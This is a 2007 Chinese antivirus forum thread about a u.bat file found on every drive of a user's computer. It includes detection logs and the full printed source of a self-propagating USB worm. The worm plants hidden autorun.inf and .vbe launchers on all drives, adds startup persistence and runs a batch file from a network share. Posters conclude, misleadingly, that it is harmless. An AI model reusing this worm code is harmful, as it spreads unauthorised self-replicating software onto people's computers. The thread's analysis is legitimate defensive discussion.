大家帮我看下这个东西，每个磁盘都有他的生成物

451102995

C:\Homes\User\桌面\u.rar
  [0] Archive type: RAR
  --> u.bat
      [DETECTION] Contains signature of the batch virus BAT/VB.A
      [INFO]      A backup was created as '46f42b1b.qua'  ( QUARANTINE )
      [INFO]      The file was successfully wiped!
      [INFO]      The file was deleted!

Giggs

你用的什么杀软啊.我们帖上来报告.说明我们这些杀软都能杀啊.随便装个杀杀就清净了呗

zlq7zj

原帖由 wangshuyu2001 于 2007-6-27 17:19 发表
你用的什么杀软啊.我们帖上来报告.说明我们这些杀软都能杀啊.随便装个杀杀就清净了呗

没有装杀软啊  装的ProSecurity  他居然没有发现它的动作！！一点都没有报。

Giggs

就一个HIPS........
规则没搞好吧..
还是弄个杀软杀下,估计基本都能杀

promised

你把AUTO*
.VBS都禁了吧

tracydk

SY报了

红心王子

detected: virus Virus.BAT.Agent.b        URL: http://bbs.kafan.cn/attachment.php?aid=93708//u.bat

yashoo

补张咖啡的图片了  

remind_me

先看看这个 u.bat 文件的内容就知道是什么问题了。 ：
有人看到危险代码了么？

貌似写了几个文件，没有干别的坏事啊。。。

1. @echo off
   
2. setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
   
3. cd /d "%~dp0"
   
4. if /i "%cd%"=="%~d0" (explorer.exe "%~d0")
   
5. set v=01
   
6. set "endf=%systemdrive%\8bye.txt"
   
7. call:ie s.vbe
   
8. echo.Wscript.sleep 10000>s.vbe
   
9. attrib s.vbe +a +s +r +h
   
10. if /i not "%cd%"=="%systemroot%" (call:cb&del /a /f /q s.vbe&goto :eof)
    
11. set dl=CDEFGHIJKLMNOPQRSTUVWXYZ
    
12. set n=0
    
13. call:inf >inf.tem
    
14. call:ql
    
15. uda.a
    
16. md "%systemroot%\bakfiles"
    
17. call:ie "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"
    
18. copy uda-解压.bat "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"
    
19. call:ie "%systemroot%\bakfiles\uda.a"
    
20. call:copy uda.a "%systemroot%\bakfiles"
    
21. :s
    
22. echo. >uhere-%v%.txt
    
23. if exist "%endf%" (set n=1&goto end)
    
24. if "!dl:~%n%,1!"=="" (set n=0&s.vbe&(ping 192.168.2.211 -n 1 &&call \\192.168.2.211\re$\add.bat))
    
25. set d=!dl:~%n%,1!:
    
26. set /a n=n+1
    
27. if not exist %d% (goto s)
    
28. if exist "%d%\autorun.inf" (echo.y|cacls "%d%\autorun.inf" /p everyone:f
    
29. rd "%d%\autorun.inf" /s /q)
    
30. if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call U盘病毒分析.bat -a -l -d %d:~0,-1% -c -i -s&goto s1)) else (goto s1)
    
31. if not exist "%d%\%~n0.vbe" (goto s2)
    
32. if not exist "%d%\%~nx0" (goto s3)
    
33. if not exist "%d%\uda.a" (goto s4)
    
34. if exist %d%\%date:~0,10%.sk (goto s)
    
35. :s1
    
36. call:inf >%d%\autorun.inf
    
37. attrib %d%\autorun.inf +a +s +r +h
    
38. call:ie "%d%\%~n0.vbe"
    
39. :s2
    
40. call:vbe "%~nx0" >"%d%\%~n0.vbe"
    
41. attrib "%d%\%~n0.vbe" +a +s +r +h
    
42. :s3
    
43. call:copy "%~dpnx0" "%d%"
    
44. :s4
    
45. call:copy "uda.a" "%d%"
    
46. call:ie %d%\*.sk
    
47. echo.>%d%\%date:~0,10%.sk
    
48. attrib %d%\%date:~0,10%.sk +a +s +r +h
    
49. goto s
    
50. :cb
    
51. if exist "%systemroot%\uhere-*.txt" (del /a /f /q "%systemroot%\uhere-*.txt"&s.vbe)
    
52. if exist "%systemroot%\uhere-*.txt" (if exist "%systemroot%\uhere-%v%.txt" (goto :eof) else (call:v "%systemroot%\uhere-*.txt"&(if %v% lss !v0! (goto :eof))))
    
53. call:rm >%systemdrive%\已经被反U盘病毒的“病毒”感染.txt
    
54. call:copy "%~dpnx0" "%systemroot%"
    
55. call:copy "uda.a" "%systemroot%"
    
56. call:ie "%systemroot%\%~n0.vbe"
    
57. call:vbe "%~nx0" >"%systemroot%\%~n0.vbe"
    
58. call:ie "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
    
59. call:vbe "%systemroot%\%~nx0" >"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
    
60. start "" /wait /d "%systemroot%" "%systemroot%\%~n0.vbe"
    
61. goto :eof
    
62. :v
    
63. set "v0=%~nx1"
    
64. set /a "v0=%v0:~6,2%"
    
65. goto :eof
    
66. :rm
    
67. echo.        看到这个，请不要慌张。电脑病毒的定义为：1、传播性；2、潜伏性；3、破坏性。根据此定义，本脚本这完全符合1，有点符合2，不符合3（若说破坏性也不是没有，但只针对U盘病毒，而且会在删除文件前备份，备份地址：%systemroot%\bakfiles\），因此，病毒二字加了引号，即不是真正的病毒。本脚本的目的是通过U盘传播，并沿途清理U盘中的病毒，如果可能，会把收集到的病毒文件发给作者；不会给您造成太多不便（与其被U盘病毒感染，不如被本脚本感染啦）。如果您觉得这样给您造成了不便，想卸载本脚本，请在%systemdrive%\下新建一个名为8bye的文本文件（不需要写入内容，即：新建%endf%），大约在20秒内完成卸载，并帮助您进行U盘病毒免疫。欲了解更多，请打开 U盘病毒分析 的自述文件（地址：%systemroot%\readme.txt）。谢谢！
    
68. echo.        包含文件：u.bat（本文件，4240字节）、uda.a（21674字节，md5：e6762ebf6123bc17ab31995c61bba955）
    
69. echo.        为研究性学习而制作，于2007-03-15，望多多支持！作者：CyyIsGood（肇中高一11），联系：[email]cyyisgood@126.com[/email]
    
70. goto :eof
    
71. :vbe
    
72. echo.wscript.createobject("wscript.shell").run """%~1"" /start",0
    
73. goto :eof
    
74. :inf
    
75. echo.[AutoRun]
    
76. echo.open=wscript.exe %~n0.vbe
    
77. echo.shell\open\Command=wscript.exe %~n0.vbe
    
78. echo.shell\explore\Command=wscript.exe %~n0.vbe
    
79. echo.shell\find\Command=wscript.exe %~n0.vbe
    
80. goto :eof
    
81. :ie
    
82. if exist "%~1" (del /a /f /q "%~1")
    
83. goto :eof
    
84. :copy
    
85. call:ie "%~dp2%~nx1"
    
86. attrib "%~1" -s -h
    
87. copy "%~1" "%~dp2"
    
88. attrib "%~1" +s +h
    
89. attrib "%~dp2%~nx1" +s +h
    
90. goto :eof
    
91. :ql
    
92. cd /d "%systemroot%"
    
93. del /a /f /q Anti-U盘免疫.bat ReadMe.txt uda-解压.bat U盘病毒分析.bat zap.a 主操控.bat 打开发送功能.bat
    
94. cd /d "%~dp0"
    
95. goto :eof
    
96. :end
    
97. set d=!dl:~%n%,1!
    
98. echo.%d%:\
    
99. if exist %d%:\ (del /a /f /q %d%:\u.vbe %d%:\u.bat %d%:\uda.a)
    
100. set /a n=n+1
     
101. if not "!dl:~%n%,1!"=="" goto end
     
102. call U盘病毒分析.bat -c&call:ql&del /a /f /q "%systemdrive%\已经被反U盘病毒的“病毒”感染.txt" "%~dp0s.vbe" "%endf%" inf.tem "uda.a" "%~n0.vbe" "uhere-%v%.txt" "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe" "%~nx0"

复制代码

[ 本帖最后由 remind_me 于 2007-6-27 18:45 编辑 ]

zlq7zj

原帖由 remind_me 于 2007-6-27 18:43 发表
先看看这个 u.bat 文件的内容就知道是什么问题了。 ：
@echo off
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
set v=01
set "e ...

这样是不是说 这个不是病毒啊  对自己的机子没有影响啊？ 我已经清除掉这个东西了。谢谢大家